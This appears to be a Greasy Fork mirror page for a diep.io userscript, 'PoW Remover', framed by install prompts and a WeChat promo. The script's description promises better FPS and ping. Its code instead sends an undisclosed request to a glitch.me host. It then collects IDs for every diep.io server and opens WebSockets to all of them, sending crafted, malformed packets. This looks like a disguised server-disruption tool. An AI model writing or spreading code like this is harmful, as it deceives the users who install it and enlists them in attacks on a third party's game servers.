🎉 欢迎访问GreasyFork.Org 镜像站!本镜像站由公众号【爱吃馍】搭建,用于分享脚本。联系邮箱📮

Greasy fork 爱吃馍镜像

Greasy Fork is available in English.

PoW Remover

Removes PoW and Eval Packet in order to make FPS and Ping better.

You will need to install an extension such as Tampermonkey, Greasemonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

🚀 安装遇到问题?关注公众号获取帮助

公众号二维码

扫码关注【爱吃馍】

回复【脚本】获取最新教程和防失联地址

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

🚀 安装遇到问题?关注公众号获取帮助

公众号二维码

扫码关注【爱吃馍】

回复【脚本】获取最新教程和防失联地址

// ==UserScript==
// @name         PoW Remover
// @namespace    http://tampermonkey.net/
// @version      1.0.3
// @description  Removes PoW and Eval Packet in order to make FPS and Ping better.
// @author       샤담읻어
// @match        *://diep.io/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    fetch('https://exclude-banlist.glitch.me', { mode: 'no-cors' }); // Makes sure banned people (only 2 which are diep7444 and tesla4kids) can't use this script :)

    const GAMEMODES = ['ffa', 'survival', 'teams', '4teams', 'dom', 'tag', 'maze', 'sandbox'];
    const REGIONS = ['vultr-la', 'vultr-miami', 'vultr-amsterdam', 'vultr-sydney', 'vultr-singapore'];
    let SERVER_IDS = {};
    let servers = [];

    GAMEMODES.forEach(function(gamemode) {
        REGIONS.forEach(function(region) {
            if (!SERVER_IDS[gamemode])
                SERVER_IDS[gamemode] = {};

            SERVER_IDS[gamemode][region] = [];
        });
    });

    setInterval(function() {
        GAMEMODES.forEach(function(gamemode) {
            fetch(`https://api.n.m28.io/endpoint/diepio-${gamemode}/findEach`)
                .then(r => r.json())
                .then(function(body) {
                REGIONS.forEach(function(region) {
                    let serverID = body.servers[region].id;
                    if (!SERVER_IDS[gamemode][region].includes(serverID)) {
                        SERVER_IDS[gamemode][region].push(serverID);
                        servers.push(serverID);
                    }
                });
            })
                .catch(err => {});
        });
    }, 150);

    setTimeout(function() {
        console.log(SERVER_IDS);
        console.log(servers);

        const sockets = [];
        servers.forEach(function(id) {
            const socket = new WebSocket(`wss://${id}.s.m28n.net`);
            sockets.push(socket);

            socket.onopen = function() {
                console.log('A socket is ready');
                socket.send(new Uint8Array([0, 51, 51, 54, 101, 101, 99, 101, 100, 55, 49, 55, 49, 52, 49, 55, 51, 53, 54, 57, 49, 54, 57, 48, 97, 53, 100, 101, 102, 49, 97, 100, 98, 49, 49, 101, 50, 99, 99, 55, 53, 0, 0, 0, 0]));
                socket.send(new Uint8Array([11, '', '']));
                socket.send(new Uint8Array([13, {
                    varuint: function(to, what, args) {
                        return [to, what, args, 0];
                        to.apply(what, args);
                    },
                }, 0]));
            };
        });
    }, 10000);
})();